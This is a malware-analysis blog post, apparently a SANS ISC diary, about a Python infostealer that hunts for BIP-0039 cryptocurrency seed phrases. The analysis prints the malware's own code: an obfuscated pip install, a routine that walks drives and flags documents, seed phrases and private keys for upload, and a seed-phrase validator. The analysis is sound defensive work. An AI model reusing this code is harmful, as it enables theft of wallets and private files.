An Infostealer Searching for « BIP-0039 » Data

    Published: 2024-11-22. Last Updated: 2024-11-22 03:58:03 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    I like obfuscation techniques implemented by malware developers. If their primary purpose is to defeat security controls and automatic scanners, they are a great starting point for malware analysts. Indeed, if some data or actions have been obfuscated, that means that they can disclose interesting TTP’s. When reviewing a malicious Python script, I found this piece of code:

    _M='-m';_P='pip';_L='install'
    subprocess.check_call([sys.executable,_M,_P,_L,'mnemonic']);from mnemonic import Mnemonic

    The script is trying to install the mnemonic Python module[1]. I had never heard of this one before. The documentation says:

    « Reference implementation of BIP-0039: Mnemonic code for generating deterministic keys »

    BIP means « Bitcoin Improvement Proposal ». The proposal 39[2] is related to a standard used in cryptocurrency wallets to make it easier and safer to store and recover your private keys. Instead of showing you a complicated private key (a long string of random letters and numbers), BIP-0039 converts it into a set of easy-to-remember words, like “apple,” “banana,” “cherry,” etc. This is called a mnemonic phrase or seed phrase.

    Example:

    >>> import mnemonic
    >>> from mnemonic import Mnemonic
    >>> m = Mnemonic("english")
    >>> m.generate()
    'program federal filter notable taxi kit range hobby unhappy raven power olympic'

    It's like many password managers that allow to create « memorable » passwords. The human brain can easily remember simple words instead of complex strings.

    Now, you can understand why this Python script is using this module. Besides the classic searches across files, it also searches for mnemonic phrases. Here is the piece of code performing this task:

    def fenv():
        try:
            if os_type == "Windows":
                available_drives = get_available_drives()
                for drive in available_drives:
                    for root, dirs, files in os.walk(drive+'\\', topdown=False):
                        for name in files:
                            if is_pat(name):
                                if is_exceptFile(name) == False:
                                    if is_exceptPath(root) == False:
                                        if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json')):
                                            ups(os.path.join(root, name))
                                        else:
                                            try:
                                                content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                                if ismnemonic(content):
                                                    ups(os.path.join(root, name))
                                                if in_pk(str(content)):
                                                    ups(os.path.join(root, name))
                                            except:
                                                pass
                ups(os.path.join(os.path.expanduser("~"), ".n2/flist"))
            else:
                for root, dirs, files in os.walk(os.path.expanduser("~"), topdown=False):
                    for name in files:
                        if is_pat(name):
                            if is_exceptFile(name) == False:
                                if is_exceptPath(root) == False:
                                    if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json')):
                                        ups(os.path.join(root, name))
                                    else:
                                        try:
                                            content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                            if ismnemonic(content):
                                                ups(os.path.join(root, name))
                                            if in_pk(str(content)):
                                                ups(os.path.join(root, name))
                                        except:
                                            pass
                ups(os.path.join(os.path.expanduser("~"), ".n2/flist"))
        except: pass

    The ismnemonic() function is pretty simple. The content is the file is split per lines, lines are split per words and if we have 12, 16 or 24 words (required by BIP-0039), we check if it’s a mnemonic phrase:

    def ismnemonic(st):
       try:
          st = st.split('\n')
          for txt in st:
             word_cnt = len(txt.split(" "))
             if word_cnt == 12 or word_cnt == 16 or word_cnt == 24:
                   mnemo = Mnemonic("english")
                   isValid = mnemo.check(txt)
                   return isValid
             else:
                   return False
       except:
          pass

    It a mnemonic phrase is discovered, the file will be exfiltrated. Note that only English speakers are targeted.

    The script has a score of 10/64 according to VT (SHA256: 737c6c397d182f27f692e2934d2a1235011a41c09e5f8640d21a8fee0c48c632)[3].

    [1] https://pypi.org/project/mnemonic/
    [2] https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki
    [3] https://www.virustotal.com/gui/file/737c6c397d182f27f692e2934d2a1235011a41c09e5f8640d21a8fee0c48c632/detection

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)
    ISC Stormcast For Friday, November 22nd, 2024 https://isc.sans.edu/podcastdetail/9230

      Comments


      Diary Archives